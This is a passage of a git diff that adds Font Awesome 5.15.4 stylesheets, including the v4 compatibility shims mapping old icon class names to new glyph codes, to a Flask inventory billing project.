+.svg-inline--fa,svg:not(:root).svg-inline--fa{overflow:visible}.svg-inline--fa{display:inline-block;font-size:inherit;height:1em;vertical-align:-.125em}.svg-inline--fa.fa-lg{vertical-align:-.225em}.svg-inline--fa.fa-w-1{width:.0625em}.svg-inline--fa.fa-w-2{width:.125em}.svg-inline--fa.fa-w-3{width:.1875em}.svg-inline--fa.fa-w-4{width:.25em}.svg-inline--fa.fa-w-5{width:.3125em}.svg-inline--fa.fa-w-6{width:.375em}.svg-inline--fa.fa-w-7{width:.4375em}.svg-inline--fa.fa-w-8{width:.5em}.svg-inline--fa.fa-w-9{width:.5625em}.svg-inline--fa.fa-w-10{width:.625em}.svg-inline--fa.fa-w-11{width:.6875em}.svg-inline--fa.fa-w-12{width:.75em}.svg-inline--fa.fa-w-13{width:.8125em}.svg-inline--fa.fa-w-14{width:.875em}.svg-inline--fa.fa-w-15{width:.9375em}.svg-inline--fa.fa-w-16{width:1em}.svg-inline--fa.fa-w-17{width:1.0625em}.svg-inline--fa.fa-w-18{width:1.125em}.svg-inline--fa.fa-w-19{width:1.1875em}.svg-inline--fa.fa-w-20{width:1.25em}.svg-inline--fa.fa-pull-left{margin-right:.3em;width:auto}.svg-inline--fa.fa-pull-right{margin-left:.3em;width:auto}.svg-inline--fa.fa-border{height:1.5em}.svg-inline--fa.fa-li{width:2em}.svg-inline--fa.fa-fw{width:1.25em}.fa-layers svg.svg-inline--fa{bottom:0;left:0;margin:auto;position:absolute;right:0;top:0}.fa-layers{display:inline-block;height:1em;position:relative;text-align:center;vertical-align:-.125em;width:1em}.fa-layers svg.svg-inline--fa{-webkit-transform-origin:center center;transform-origin:center center}.fa-layers-counter,.fa-layers-text{display:inline-block;position:absolute;text-align:center}.fa-layers-text{left:50%;top:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);-webkit-transform-origin:center center;transform-origin:center center}.fa-layers-counter{background-color:#ff253a;border-radius:1em;-webkit-box-sizing:border-box;box-sizing:border-box;color:#fff;height:1.5em;line-height:1;max-width:5em;min-width:1.5em;overflow:hidden;padding:.25em;right:0;text-overflow:ellipsis;top:0;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:top right;transform-origin:top right}.fa-layers-bottom-right{bottom:0;right:0;top:auto;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:bottom right;transform-origin:bottom right}.fa-layers-bottom-left{bottom:0;left:0;right:auto;top:auto;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:bottom left;transform-origin:bottom left}.fa-layers-top-right{right:0;top:0;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:top right;transform-origin:top right}.fa-layers-top-left{left:0;right:auto;top:0;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:top left;transform-origin:top left}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left,.fab.fa-pull-left,.fal.fa-pull-left,.far.fa-pull-left,.fas.fa-pull-left{margin-right:.3em}.fa.fa-pull-right,.fab.fa-pull-right,.fal.fa-pull-right,.far.fa-pull-right,.fas.fa-pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s linear infinite;animation:fa-spin 2s linear infinite}.fa-pulse{-webkit-animation:fa-spin 1s steps(8) infinite;animation:fa-spin 1s steps(8) infinite}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scaleX(-1);transform:scaleX(-1)}.fa-flip-vertical{-webkit-transform:scaleY(-1);transform:scaleY(-1)}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical,.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical{-webkit-transform:scale(-1);transform:scale(-1)}:root .fa-flip-both,:root .fa-flip-horizontal,:root .fa-flip-vertical,:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270{-webkit-filter:none;filter:none}.fa-stack{display:inline-block;height:2em;position:relative;width:2.5em}.fa-stack-1x,.fa-stack-2x{bottom:0;left:0;margin:auto;position:absolute;right:0;top:0}.svg-inline--fa.fa-stack-1x{height:1em;width:1.25em}.svg-inline--fa.fa-stack-2x{height:2em;width:2.5em}.fa-inverse{color:#fff}.sr-only{border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.sr-only-focusable:active,.sr-only-focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto}.svg-inline--fa .fa-primary{fill:var(--fa-primary-color,currentColor);opacity:1;opacity:var(--fa-primary-opacity,1)}.svg-inline--fa .fa-secondary{fill:var(--fa-secondary-color,currentColor)}.svg-inline--fa .fa-secondary,.svg-inline--fa.fa-swap-opacity .fa-primary{opacity:.4;opacity:var(--fa-secondary-opacity,.4)}.svg-inline--fa.fa-swap-opacity .fa-secondary{opacity:1;opacity:var(--fa-primary-opacity,1)}.svg-inline--fa mask .fa-primary,.svg-inline--fa mask .fa-secondary{fill:#000}.fad.fa-inverse{color:#fff} \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/v4-shims.css b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/v4-shims.css new file mode 100644 index 00000000..1ef4893b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/v4-shims.css @@ -0,0 +1,2172 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +.fa.fa-glass:before { + content: "\f000"; } + +.fa.fa-meetup { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-star-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-star-o:before { + content: "\f005"; } + +.fa.fa-remove:before { + content: "\f00d"; } + +.fa.fa-close:before { + content: "\f00d"; } + +.fa.fa-gear:before { + content: "\f013"; } + +.fa.fa-trash-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-trash-o:before { + content: "\f2ed"; } + +.fa.fa-file-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-file-o:before { + content: "\f15b"; } + +.fa.fa-clock-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-clock-o:before { + content: "\f017"; } + +.fa.fa-arrow-circle-o-down { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-arrow-circle-o-down:before { + content: "\f358"; } + +.fa.fa-arrow-circle-o-up { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-arrow-circle-o-up:before { + content: "\f35b"; } + +.fa.fa-play-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-play-circle-o:before { + content: "\f144"; } + +.fa.fa-repeat:before { + content: "\f01e"; } + +.fa.fa-rotate-right:before { + content: "\f01e"; } + +.fa.fa-refresh:before { + content: "\f021"; } + +.fa.fa-list-alt { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-dedent:before { + content: "\f03b"; } + +.fa.fa-video-camera:before { + content: "\f03d"; } + +.fa.fa-picture-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-picture-o:before { + content: "\f03e"; } + +.fa.fa-photo { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-photo:before { + content: "\f03e"; } + +.fa.fa-image { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-image:before { + content: "\f03e"; } + +.fa.fa-pencil:before { + content: "\f303"; } + +.fa.fa-map-marker:before { + content: "\f3c5"; } + +.fa.fa-pencil-square-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-pencil-square-o:before { + content: "\f044"; } + +.fa.fa-share-square-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-share-square-o:before { + content: "\f14d"; } + +.fa.fa-check-square-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-check-square-o:before { + content: "\f14a"; } + +.fa.fa-arrows:before { + content: "\f0b2"; } + +.fa.fa-times-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-times-circle-o:before { + content: "\f057"; } + +.fa.fa-check-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-check-circle-o:before { + content: "\f058"; } + +.fa.fa-mail-forward:before { + content: "\f064"; } + +.fa.fa-expand:before { + content: "\f424"; } + +.fa.fa-compress:before { + content: "\f422"; } + +.fa.fa-eye { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-eye-slash { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-warning:before { + content: "\f071"; } + +.fa.fa-calendar:before { + content: "\f073"; } + +.fa.fa-arrows-v:before { + content: "\f338"; } + +.fa.fa-arrows-h:before { + content: "\f337"; } + +.fa.fa-bar-chart { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-bar-chart:before { + content: "\f080"; } + +.fa.fa-bar-chart-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-bar-chart-o:before { + content: "\f080"; } + +.fa.fa-twitter-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-facebook-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-gears:before { + content: "\f085"; } + +.fa.fa-thumbs-o-up { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-thumbs-o-up:before { + content: "\f164"; } + +.fa.fa-thumbs-o-down { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-thumbs-o-down:before { + content: "\f165"; } + +.fa.fa-heart-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-heart-o:before { + content: "\f004"; } + +.fa.fa-sign-out:before { + content: "\f2f5"; } + +.fa.fa-linkedin-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-linkedin-square:before { + content: "\f08c"; } + +.fa.fa-thumb-tack:before { + content: "\f08d"; } + +.fa.fa-external-link:before { + content: "\f35d"; } + +.fa.fa-sign-in:before { + content: "\f2f6"; } + +.fa.fa-github-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-lemon-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-lemon-o:before { + content: "\f094"; } + +.fa.fa-square-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-square-o:before { + content: "\f0c8"; } + +.fa.fa-bookmark-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-bookmark-o:before { + content: "\f02e"; } + +.fa.fa-twitter { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-facebook { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-facebook:before { + content: "\f39e"; } + +.fa.fa-facebook-f { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-facebook-f:before { + content: "\f39e"; } + +.fa.fa-github { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-credit-card { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-feed:before { + content: "\f09e"; } + +.fa.fa-hdd-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-hdd-o:before { + content: "\f0a0"; } + +.fa.fa-hand-o-right { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-hand-o-right:before { + content: "\f0a4"; } + +.fa.fa-hand-o-left { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-hand-o-left:before { + content: "\f0a5"; } + +.fa.fa-hand-o-up { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-hand-o-up:before { + content: "\f0a6"; } + +.fa.fa-hand-o-down { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-hand-o-down:before { + content: "\f0a7"; } + +.fa.fa-arrows-alt:before { + content: "\f31e"; } + +.fa.fa-group:before { + content: "\f0c0"; } + +.fa.fa-chain:before { + content: "\f0c1"; } + +.fa.fa-scissors:before { + content: "\f0c4"; } + +.fa.fa-files-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-files-o:before { + content: "\f0c5"; } + +.fa.fa-floppy-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-floppy-o:before { + content: "\f0c7"; } + +.fa.fa-navicon:before { + content: "\f0c9"; } + +.fa.fa-reorder:before { + content: "\f0c9"; } + +.fa.fa-pinterest { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-pinterest-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-google-plus-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-google-plus { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-google-plus:before { + content: "\f0d5"; } + +.fa.fa-money { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-money:before { + content: "\f3d1"; } + +.fa.fa-unsorted:before { + content: "\f0dc"; } + +.fa.fa-sort-desc:before { + content: "\f0dd"; } + +.fa.fa-sort-asc:before { + content: "\f0de"; } + +.fa.fa-linkedin { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-linkedin:before { + content: "\f0e1"; } + +.fa.fa-rotate-left:before { + content: "\f0e2"; } + +.fa.fa-legal:before { + content: "\f0e3"; } + +.fa.fa-tachometer:before { + content: "\f3fd"; } + +.fa.fa-dashboard:before { + content: "\f3fd"; } + +.fa.fa-comment-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-comment-o:before { + content: "\f075"; } + +.fa.fa-comments-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-comments-o:before { + content: "\f086"; } + +.fa.fa-flash:before { + content: "\f0e7"; } + +.fa.fa-clipboard { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-paste { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-paste:before { + content: "\f328"; } + +.fa.fa-lightbulb-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-lightbulb-o:before { + content: "\f0eb"; } + +.fa.fa-exchange:before { + content: "\f362"; } + +.fa.fa-cloud-download:before { + content: "\f381"; } + +.fa.fa-cloud-upload:before { + content: "\f382"; } + +.fa.fa-bell-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-bell-o:before { + content: "\f0f3"; } + +.fa.fa-cutlery:before { + content: "\f2e7"; } + +.fa.fa-file-text-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-file-text-o:before { + content: "\f15c"; } + +.fa.fa-building-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-building-o:before { + content: "\f1ad"; } + +.fa.fa-hospital-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-hospital-o:before { + content: "\f0f8"; } + +.fa.fa-tablet:before { + content: "\f3fa"; } + +.fa.fa-mobile:before { + content: "\f3cd"; } + +.fa.fa-mobile-phone:before { + content: "\f3cd"; } + +.fa.fa-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-circle-o:before { + content: "\f111"; } + +.fa.fa-mail-reply:before { + content: "\f3e5"; } + +.fa.fa-github-alt { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-folder-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-folder-o:before { + content: "\f07b"; } + +.fa.fa-folder-open-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-folder-open-o:before { + content: "\f07c"; } + +.fa.fa-smile-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-smile-o:before { + content: "\f118"; } + +.fa.fa-frown-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-frown-o:before { + content: "\f119"; } + +.fa.fa-meh-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-meh-o:before { + content: "\f11a"; } + +.fa.fa-keyboard-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-keyboard-o:before { + content: "\f11c"; } + +.fa.fa-flag-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-flag-o:before { + content: "\f024"; } + +.fa.fa-mail-reply-all:before { + content: "\f122"; } + +.fa.fa-star-half-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-star-half-o:before { + content: "\f089"; } + +.fa.fa-star-half-empty { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-star-half-empty:before { + content: "\f089"; } + +.fa.fa-star-half-full { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-star-half-full:before { + content: "\f089"; } + +.fa.fa-code-fork:before { + content: "\f126"; } + +.fa.fa-chain-broken:before { + content: "\f127"; } + +.fa.fa-shield:before { + content: "\f3ed"; } + +.fa.fa-calendar-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-calendar-o:before { + content: "\f133"; } + +.fa.fa-maxcdn { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-html5 { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-css3 { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-ticket:before { + content: "\f3ff"; } + +.fa.fa-minus-square-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-minus-square-o:before { + content: "\f146"; } + +.fa.fa-level-up:before { + content: "\f3bf"; } + +.fa.fa-level-down:before { + content: "\f3be"; } + +.fa.fa-pencil-square:before { + content: "\f14b"; } + +.fa.fa-external-link-square:before { + content: "\f360"; } + +.fa.fa-compass { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-caret-square-o-down { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-caret-square-o-down:before { + content: "\f150"; } + +.fa.fa-toggle-down { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-toggle-down:before { + content: "\f150"; } + +.fa.fa-caret-square-o-up { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-caret-square-o-up:before { + content: "\f151"; } + +.fa.fa-toggle-up { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-toggle-up:before { + content: "\f151"; } + +.fa.fa-caret-square-o-right { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-caret-square-o-right:before { + content: "\f152"; } + +.fa.fa-toggle-right { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-toggle-right:before { + content: "\f152"; } + +.fa.fa-eur:before { + content: "\f153"; } + +.fa.fa-euro:before { + content: "\f153"; } + +.fa.fa-gbp:before { + content: "\f154"; } + +.fa.fa-usd:before { + content: "\f155"; } + +.fa.fa-dollar:before { + content: "\f155"; } + +.fa.fa-inr:before { + content: "\f156"; } + +.fa.fa-rupee:before { + content: "\f156"; } + +.fa.fa-jpy:before { + content: "\f157"; } + +.fa.fa-cny:before { + content: "\f157"; } + +.fa.fa-rmb:before { + content: "\f157"; } + +.fa.fa-yen:before { + content: "\f157"; } + +.fa.fa-rub:before { + content: "\f158"; } + +.fa.fa-ruble:before { + content: "\f158"; } + +.fa.fa-rouble:before { + content: "\f158"; } + +.fa.fa-krw:before { + content: "\f159"; } + +.fa.fa-won:before { + content: "\f159"; } + +.fa.fa-btc { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-bitcoin { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-bitcoin:before { + content: "\f15a"; } + +.fa.fa-file-text:before { + content: "\f15c"; } + +.fa.fa-sort-alpha-asc:before { + content: "\f15d"; } + +.fa.fa-sort-alpha-desc:before { + content: "\f881"; } + +.fa.fa-sort-amount-asc:before { + content: "\f160"; } + +.fa.fa-sort-amount-desc:before { + content: "\f884"; } + +.fa.fa-sort-numeric-asc:before { + content: "\f162"; } + +.fa.fa-sort-numeric-desc:before { + content: "\f886"; } + +.fa.fa-youtube-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-youtube { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-xing { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-xing-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-youtube-play { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-youtube-play:before { + content: "\f167"; } + +.fa.fa-dropbox { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-stack-overflow { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-instagram { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-flickr { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-adn { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-bitbucket { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-bitbucket-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-bitbucket-square:before { + content: "\f171"; } + +.fa.fa-tumblr { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-tumblr-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-long-arrow-down:before { + content: "\f309"; } + +.fa.fa-long-arrow-up:before { + content: "\f30c"; } + +.fa.fa-long-arrow-left:before { + content: "\f30a"; } + +.fa.fa-long-arrow-right:before { + content: "\f30b"; } + +.fa.fa-apple { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-windows { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-android { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-linux { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-dribbble { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-skype { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-foursquare { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-trello { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-gratipay { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-gittip { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-gittip:before { + content: "\f184"; } + +.fa.fa-sun-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-sun-o:before { + content: "\f185"; } + +.fa.fa-moon-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-moon-o:before { + content: "\f186"; } + +.fa.fa-vk { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-weibo { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-renren { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-pagelines { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-stack-exchange { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-arrow-circle-o-right { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-arrow-circle-o-right:before { + content: "\f35a"; } + +.fa.fa-arrow-circle-o-left { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-arrow-circle-o-left:before { + content: "\f359"; } + +.fa.fa-caret-square-o-left { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-caret-square-o-left:before { + content: "\f191"; } + +.fa.fa-toggle-left { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-toggle-left:before { + content: "\f191"; } + +.fa.fa-dot-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-dot-circle-o:before { + content: "\f192"; } + +.fa.fa-vimeo-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-try:before { + content: "\f195"; } + +.fa.fa-turkish-lira:before { + content: "\f195"; } + +.fa.fa-plus-square-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-plus-square-o:before { + content: "\f0fe"; } + +.fa.fa-slack { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-wordpress { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-openid { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-institution:before { + content: "\f19c"; } + +.fa.fa-bank:before { + content: "\f19c"; } + +.fa.fa-mortar-board:before { + content: "\f19d"; } + +.fa.fa-yahoo { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-google { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-reddit { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-reddit-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-stumbleupon-circle { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-stumbleupon { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-delicious { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-digg { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-pied-piper-pp { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-pied-piper-alt { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-drupal { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-joomla { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-spoon:before { + content: "\f2e5"; } + +.fa.fa-behance { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-behance-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-steam { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-steam-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-automobile:before { + content: "\f1b9"; } + +.fa.fa-envelope-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-envelope-o:before { + content: "\f0e0"; } + +.fa.fa-spotify { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-deviantart { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-soundcloud { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } + +.fa.fa-file-pdf-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-file-pdf-o:before { + content: "\f1c1"; } + +.fa.fa-file-word-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-file-word-o:before { + content: "\f1c2"; } + +.fa.fa-file-excel-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-file-excel-o:before { + content: "\f1c3"; } + +.fa.fa-file-powerpoint-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; } + +.fa.fa-file-powerpoint-o:before { + content: "\f1c4"; } + +.fa.fa-file-image-o { + font-family: 'Font Awesome 5 Free'; + 